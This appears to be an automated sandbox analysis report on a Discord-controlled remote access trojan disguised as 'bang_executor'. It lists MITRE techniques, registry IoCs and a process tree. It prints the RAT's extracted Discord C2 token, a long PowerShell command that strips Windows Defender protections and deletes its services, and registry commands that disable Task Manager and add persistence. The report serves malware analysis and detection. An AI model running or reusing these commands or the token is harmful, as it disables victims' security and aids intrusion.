discordrat | hxxps://cdn[.]discordapp[.]com/attachments/1173804304495284314/1297356733630644335/bang_executor_1_7[.]zip?ex=6715a11d&is=67144f9d&hm=f8d6dbdecaf380f137ced42906c0ccc92d41cd70b45db6b25d4fbeb954334726&

Analysis

max time kernel
246s
max time network
248s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
20-10-2024 00:33

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://cdn.discordapp.com/attachments/1173804304495284314/1297356733630644335/bang_executor_1_7.zip?ex=6715a11d&is=67144f9d&hm=f8d6dbdecaf380f137ced42906c0ccc92d41cd70b45db6b25d4fbeb954334726&

Score

10^/10

discordrat defense_evasion discovery evasion persistence ransomware rat rootkit stealer

Malware Config

Extracted

Family

discordrat

Attributes

discord_token
MTIwOTg2MTMwMjI4MTgzMDUxMA.Gmqajy._4CylftOq4LrZdENLJ2TSDf4hCqEAkBOhAXtEI
server_id
1209860808411189308

Signatures

Contains code to disable Windows Defender 3 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

Processes:

resource	yara_rule
behavioral1/files/0x001900000002ab52-65.dat	disable_win_def
behavioral1/memory/4612-69-0x0000000000BF0000-0x0000000000C3A000-memory.dmp	disable_win_def
behavioral1/files/0x001900000002ab5e-133.dat	disable_win_def

Discord RAT
A RAT written in C# using Discord as a C2.
stealer rootkit rat persistence discordrat

Disables RegEdit via registry modification 1 IoCs

evasion

Processes:

reg.exe

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Executes dropped EXE 2 IoCs

Processes:

bang_executor.exeexecuter.exe

pid	Process
5020	bang_executor.exe
4612	executer.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000\Software\Microsoft\Windows\CurrentVersion\Run\bang_executor = "C:\\path\\to\\bang_executor.exe"	reg.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 20 IoCs

Web Service

T1102

Processes:

flow	ioc
11	discord.com
12	discord.com
17	discord.com
23	discord.com
25	discord.com
24	discord.com
13	discord.com
14	discord.com
16	discord.com
18	discord.com
19	discord.com
20	discord.com
21	discord.com
28	discord.com
30	discord.com
6	discord.com
9	discord.com
15	discord.com
26	discord.com
29	discord.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

bang_executor.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\tmp9D8E.tmp.png"	bang_executor.exe

Drops file in Windows directory 1 IoCs

Processes:

chrome.exe

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

reg.exebang_executor.execmd.exereg.exereg.exereg.exefindstr.exereg.exereg.exereg.execmd.execmd.execmd.exereg.execmd.execmd.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bang_executor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Kills process with taskkill 1 IoCs

evasion

Processes:

taskkill.exe

pid	Process
3452	taskkill.exe

Modifies data under HKEY_USERS 17 IoCs

Processes:

LogonUI.exechrome.exe

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268"	LogonUI.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268"	LogonUI.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133738580451397312"	chrome.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "55"	LogonUI.exe

Modifies registry class 6 IoCs

Processes:

BackgroundTransferHost.exechrome.exeMiniSearchHost.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings\MuiCache	MiniSearchHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2499603254-3415597248-1508446358-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe

NTFS ADS 1 IoCs

Processes:

chrome.exe

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\bang_executor (1) (7).zip:Zone.Identifier	chrome.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

chrome.exepowershell.exe

pid	Process
236	chrome.exe
236	chrome.exe
1600	powershell.exe
1600	powershell.exe
1600	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

Processes:

chrome.exe

pid	Process
236	chrome.exe
236	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exebang_executor.exepowershell.exe

description	pid	Process
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeDebugPrivilege	5020	bang_executor.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeDebugPrivilege	1600	powershell.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe
Token: SeShutdownPrivilege	236	chrome.exe
Token: SeCreatePagefilePrivilege	236	chrome.exe

Suspicious use of FindShellTrayWindow 33 IoCs

Processes:

chrome.exe

pid	Process
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe

Suspicious use of SendNotifyMessage 12 IoCs

Processes:

chrome.exe

pid	Process
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe
236	chrome.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

bang_executor.exeMiniSearchHost.exeLogonUI.exe

pid	Process
124	bang_executor.exe
832	MiniSearchHost.exe
700	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	Process	procid_target
PID 236 wrote to memory of 1104	236	chrome.exe	77
PID 236 wrote to memory of 1104	236	chrome.exe	77
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 2216	236	chrome.exe	78
PID 236 wrote to memory of 3940	236	chrome.exe	79
PID 236 wrote to memory of 3940	236	chrome.exe	79
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80
PID 236 wrote to memory of 5068	236	chrome.exe	80

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1173804304495284314/1297356733630644335/bang_executor_1_7.zip?ex=6715a11d&is=67144f9d&hm=f8d6dbdecaf380f137ced42906c0ccc92d41cd70b45db6b25d4fbeb954334726&
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:236
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffb1122cc40,0x7ffb1122cc4c,0x7ffb1122cc58
  2⤵
  PID:1104
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1804,i,8743630566801468412,8365415818213798963,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1796 /prefetch:2
  2⤵
  PID:2216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2020,i,8743630566801468412,8365415818213798963,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2076 /prefetch:3
  2⤵
  PID:3940
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2144,i,8743630566801468412,8365415818213798963,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2312 /prefetch:8
  2⤵
  PID:5068
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3092,i,8743630566801468412,8365415818213798963,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3104 /prefetch:1
  2⤵
  PID:2356
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3088,i,8743630566801468412,8365415818213798963,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3148 /prefetch:1
  2⤵
  PID:1292
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4720,i,8743630566801468412,8365415818213798963,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4732 /prefetch:8
  2⤵
  PID:392
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4660,i,8743630566801468412,8365415818213798963,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4824 /prefetch:8
  2⤵
  - NTFS ADS
  PID:2252

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3536

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2952

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3160

C:\Users\Admin\AppData\Local\Temp\Temp1_bang_executor (1) (7).zip\bang_executor.exe
"C:\Users\Admin\AppData\Local\Temp\Temp1_bang_executor (1) (7).zip\bang_executor.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:124
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\bang.bat" "
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4308
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\bang_executor.exe
    bang_executor.exe
    3⤵
    - Executes dropped EXE
    - Sets desktop wallpaper using registry
    - Suspicious use of AdjustPrivilegeToken
    PID:5020
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd.exe" /C taskkill /F /IM chrome.exe
      4⤵
      PID:2084
    - - C:\Windows\system32\taskkill.exe
        
        taskkill /F /IM chrome.exe
        5⤵
        Kills process with taskkill
        
        PID:3452
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\executer.exe
    executer.exe
    3⤵
    - Executes dropped EXE
    PID:4612
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /C echo Add-MpPreference -ExclusionPath "C:\" -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess "C:\*" -ErrorAction SilentlyContinue; Set-MpPreference -DisableArchiveScanning 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableBehaviorMonitoring 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableIntrusionPreventionSystem 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableIOAVProtection 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableRemovableDriveScanning 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableBlockAtFirstSeen 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableScanningMappedNetworkDrivesForFullScan 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableScanningNetworkFiles 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableScriptScanning 1 -ErrorAction SilentlyContinue; Set-MpPreference -DisableRealtimeMonitoring 1 -ErrorAction SilentlyContinue; Set-MpPreference -LowThreatDefaultAction Allow -ErrorAction SilentlyContinue; Set-MpPreference -ModerateThreatDefaultAction Allow -ErrorAction SilentlyContinue; Set-MpPreference -HighThreatDefaultAction Allow -ErrorAction SilentlyContinue; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdNisSvc" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Sense" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdnisDrv" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\wdfilter" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\wdboot" -Name Start -Value 4; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" -Name SpyNetReporting -Value 0; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" -Name SubmitSamplesConsent -Value 0; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name TamperProtection -Value 4; Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1; Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1; Remove-Item -Recurse -Force -Path "C:\ProgramData\Windows\Windows Defender\"; Remove-Item -Recurse -Force -Path "C:\ProgramData\Windows\Windows Defender Advanced Threat Protection\"; Remove-Item -Recurse -Force -Path "C:\Windows\System32\drivers\wd\"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdNisSvc"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WinDefend"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Sense"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WdnisDrv"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\wdfilter"; Remove-Item -Recurse -Force -Path "HKLM:\SYSTEM\CurrentControlSet\Services\wdboot" > test.ps1
      4⤵
      PID:1120
  - - C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /C powershell.exe -ep bypass .\test.ps1;
      4⤵
      PID:3420
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ep bypass .\test.ps1;
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K mgr.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1576
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1128
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K save.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K save2.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2184
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K install.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1760
  - - C:\Windows\SysWOW64\reg.exe
      reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4536
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /i /c:"bang_executor"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2676
  - - C:\Windows\SysWOW64\reg.exe
